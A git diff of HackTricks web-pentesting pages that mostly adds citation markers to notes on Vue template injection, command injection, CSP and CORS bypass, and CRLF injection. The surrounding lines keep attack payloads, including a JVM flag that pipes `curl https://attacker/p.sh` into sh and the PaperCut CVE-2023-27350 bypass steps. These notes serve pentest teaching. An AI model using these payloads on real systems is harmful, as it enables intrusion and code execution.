``` -A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)[[2]](#references) In modern Vue targets, distinguish between these two cases: @@ -105,7 +105,7 @@ Other useful Vue 3 gadget variants from PortSwigger research: {{_Vue.h.constructor`alert(1)`()}} ``` -The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present. +The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present.[[2]](#references) **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) @@ -129,7 +129,7 @@ javascript:alert(1)%252f%252f..%252fcss-images **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) -Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed. +Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed.[[4]](#references) ## Tooling @@ -148,6 +148,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt ## References -- [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection) -- [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +- [1] [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection) +- [2] [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +- [3] [AngularJS 1.6 expression sandbox removal](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) +- [4] [Abusing JavaScript frameworks to bypass XSS mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b747bc52e43..2dc0638a2f1 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -34,7 +34,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ### PHP rule engines with `runkit` enabled -Some applications implement admin-only “rule engines” by **executing attacker-supplied PHP**. If the environment enables the `runkit` extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into **full PHP RCE**. +Some applications implement admin-only “rule engines” by **executing attacker-supplied PHP**. If the environment enables the `runkit` extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into **full PHP RCE**.[[9]](#references) Indicators: @@ -69,7 +69,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ### Bash arithmetic evaluation in RewriteMap/CGI-style scripts -RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute. +RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.[[11]](#references) **Pattern seen in Ivanti EPMM RewriteMap helpers:** @@ -96,7 +96,7 @@ Notes: ### Parameters -Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):[[12]](#references) ``` ?cmd={payload} @@ -128,7 +128,7 @@ Here are the top 25 parameters that could be vulnerable to code injection and si ### Time based data exfiltration -Extracting data: char by char +Extracting data: char by char[[1]](#references) ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi @@ -201,7 +201,7 @@ execFile('/usr/bin/do-something', [ ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).[[3]](#references) ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) @@ -221,7 +221,7 @@ What to try: - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers - If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. -Generic PoC shapes against centralized CGI dispatchers: +Generic PoC shapes against centralized CGI dispatchers:[[6]](#references) ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 @@ -249,11 +249,11 @@ Example payloads: -XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'" ``` -Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution. +Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.[[7]](#references) ## PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE -- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow). +- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow).[[8]](#references) - In **Options → Config Editor**, set `print-and-device.script.enabled=Y` and `print.script.sandboxed=N` to turn on printer scripting and disable the sandbox. - In the printer **Scripting** tab, enable the script and keep `printJobHook` defined to avoid validation errors, but place the payload **outside** the function so it executes immediately when you click **Apply** (no print job needed): @@ -264,7 +264,7 @@ java.lang.Runtime.getRuntime().exec(cmd); ``` - Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request. -- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally. +- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.[[10]](#references) ## Brute-Force Detection List @@ -276,16 +276,17 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject ## References -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) -- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) -- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) -- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) -- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html) -- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) -- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) -- [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) +- [1] [PayloadsAllTheThings - Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) +- [2] [PortSwigger: OS command injection](https://portswigger.net/web-security/os-command-injection) +- [3] [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [4] [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [5] [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [6] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [7] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) +- [8] [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html) +- [9] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [10] [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) +- [11] [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) +- [12] [Top 25 RCE/code-injection parameters (@trbughunters)](https://twitter.com/trbughunters/status/1283133356922884096) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 3ae0bc0a3a4..ec96e1d71aa 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -10,11 +10,11 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline'; Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval` -Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS +Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS[[1]](#references) ## Via Text & Images -It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them: +It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them[[1]](#references): ```javascript frame = document.createElement("iframe") @@ -27,7 +27,7 @@ window.frames[0].document.head.appendChild(script) ## Via Errors -Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions: +Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions[[1]](#references): ```javascript // Inducing an nginx error @@ -53,7 +53,7 @@ for (var i = 0; i < 5; i++) { } ``` -After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows: +After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows[[1]](#references): ```javascript script = document.createElement("script") @@ -63,7 +63,7 @@ window.frames[0].document.head.appendChild(script) ## References -- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) +- [1] [Neatly bypassing CSP](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 1d24ae538fa..01cd694e1d9 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -5,7 +5,7 @@ ## What is CORS? -Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources. +Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.[[1]](#references) A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources. @@ -154,7 +154,7 @@ This is not allowed by browsers and therefore credentials won't be sent with the ## Exploitable misconfigurations -It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible. +It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.[[1]](#references) ### Exception: Exploiting Network Location as Authentication @@ -219,7 +219,7 @@ When encountering a domain whitelist, it's crucial to test for bypass opportunit Regex patterns typically concentrate on alphanumeric, dot (.), and hyphen (-) characters, neglecting other possibilities. For example, a domain name crafted to include characters interpreted differently by browsers and regex patterns can bypass security checks. Safari, Chrome, and Firefox's handling of underscore characters in subdomains illustrates how such discrepancies can be exploited to circumvent domain validation logic. -**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)[[13]](#references)[[14]](#references) ![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../images/image (284).png>) @@ -241,7 +241,7 @@ In this setup, all subdomains of `requester.com` are allowed access. However, if ### **Special Characters** -PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) found that some browsers support strange characters within domain names. +PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) found that some browsers support strange characters within domain names.[[15]](#references) Chrome and Firefox support underscores `_` that can bypass regexes implemented to validate the `Origin` header: @@ -272,7 +272,7 @@ Access-Control-Allow-Origin: https://target.application}.arbitrary.com Access-Control-Allow-Credentials: true ``` -Recent updates to PortSwigger's cheat sheet added more **Safari-oriented domain splitting** payloads that are worth fuzzing when the target validates the `Origin` header using regexes or home-grown URL parsers: +Recent updates to PortSwigger's cheat sheet added more **Safari-oriented domain splitting** payloads that are worth fuzzing when the target validates the `Origin` header using regexes or home-grown URL parsers:[[11]](#references) ```text https://example.com.{.attacker.com/ @@ -299,7 +299,7 @@ ssrf-server-side-request-forgery/url-format-bypass.md [**From this research**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities. +It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities.[[4]](#references) Consider the following request where the `Origin` header is manipulated: @@ -328,7 +328,7 @@ For further reading on stored XSS vulnerabilities, see [PortSwigger](https://por In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load. -Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching. +Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.[[4]](#references) To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header. @@ -360,7 +360,7 @@ To better understand and mitigate this vulnerability, you can use the BurpSuite [**Read more about the difefrent types of XSSI and how to exploit them here.**](xssi-cross-site-script-inclusion.md) -Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy. +Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy.[[9]](#references) ![Bypass - XSSI (Cross-Site Script Inclusion) / JSONP: Try to add a callback parameter in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will...](<../images/image (856).png>) @@ -429,7 +429,7 @@ This technique leverages the behavior of browsers when multiple IP addresses are > > -For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) +For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)[[16]](#references) ### Other Common Bypasses @@ -439,13 +439,13 @@ For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/] ### DNS Rebidding Weaponized -You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). +You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).[[17]](#references) [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine. ### DNS Rebinding over DNS-over-HTTPS (DoH) -DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with `Content-Type: application/dns-message`). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS. +DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with `Content-Type: application/dns-message`). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.[[10]](#references) #### Key observations @@ -494,18 +494,23 @@ DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a P ## References -- [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors) -- [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin) -- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) -- [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -- [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors) -- [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors) -- [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) -- [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) -- [NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks](https://www.nccgroup.com/research-blog/impact-of-dns-over-https-doh-on-dns-rebinding-attacks/) -- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) -- [https://developer.chrome.com/blog/pna-on-hold](https://developer.chrome.com/blog/pna-on-hold) +- [1] [PortSwigger - Cross-origin resource sharing (CORS)](https://portswigger.net/web-security/cors) +- [2] [PortSwigger - CORS and the Access-Control-Allow-Origin header](https://portswigger.net/web-security/cors/access-control-allow-origin) +- [3] [MDN - HTTP headers (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) +- [4] [PortSwigger Research - Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +- [5] [Codecademy - What is CORS?](https://www.codecademy.com/articles/what-is-cors) +- [6] [we45 - 3 Ways to Exploit Misconfigured Cross-Origin Resource Sharing (CORS)](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors) +- [7] [Netscape (Medium) - Hacking it out: When CORS won't let you be great](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) +- [8] [PayloadsAllTheThings - CORS Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) +- [9] [Entersoft (Medium) - The evil smile of the JSONP over the browsers' same-origin policy](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) +- [10] [NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks](https://www.nccgroup.com/research-blog/impact-of-dns-over-https-doh-on-dns-rebinding-attacks/) +- [11] [PortSwigger Research - New crazy payloads in the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) +- [12] [Chrome Developers - Private Network Access preflights temporarily on hold](https://developer.chrome.com/blog/pna-on-hold) +- [13] [Corben Leo - Advanced CORS Exploitation Techniques](https://www.corben.io/advanced-cors-techniques/) +- [14] [Think Outside the Scope: Advanced CORS Exploitation Techniques (Medium)](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +- [15] [PortSwigger Research - Introducing the URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) +- [16] [Unit 42 (Palo Alto Networks) - DNS Rebinding](https://unit42.paloaltonetworks.com/dns-rebinding/) +- [17] [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin (DEF CON 27)](https://www.youtube.com/watch?v=y9-0lICNjOQ) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index d55a0fbc329..c15c7596ffb 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -35,7 +35,7 @@ IP - Time - Visited Path 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with `%0d%0a` as a single parameter, while the `restrictedaction` parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: `/index.php?page=home&restrictedaction=edit` +The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with `%0d%0a` as a single parameter, while the `restrictedaction` parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: `/index.php?page=home&restrictedaction=edit`[[1]](#references) ### HTTP Response Splitting @@ -53,7 +53,7 @@ HTTP Response Splitting is a security vulnerability that arises when an attacker #### An example of HTTP Response Splitting leading to Redirect -From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) +From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)[[11]](#references) Browser to: @@ -67,7 +67,7 @@ And the server responses with the header: Location: http://myweb.com ``` -**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** +**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**[[2]](#references) ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E @@ -75,7 +75,7 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT #### In URL Path -You can send the payload **inside the URL path** to control the **response** from the server (example from [here](https://hackerone.com/reports/192667)): +You can send the payload **inside the URL path** to control the **response** from the server (example from [here](https://hackerone.com/reports/192667)):[[12]](#references) ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E @@ -128,7 +128,7 @@ $client->__soapCall("test", []); ### Header Injection to Request Smuggling -For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). +For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).[[3]](#references) You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request: @@ -159,7 +159,7 @@ Memcache is a **key-value store that uses a clear text protocol**. More info in: **For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -If a platform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**. +If a platform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.[[10]](#references) For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims 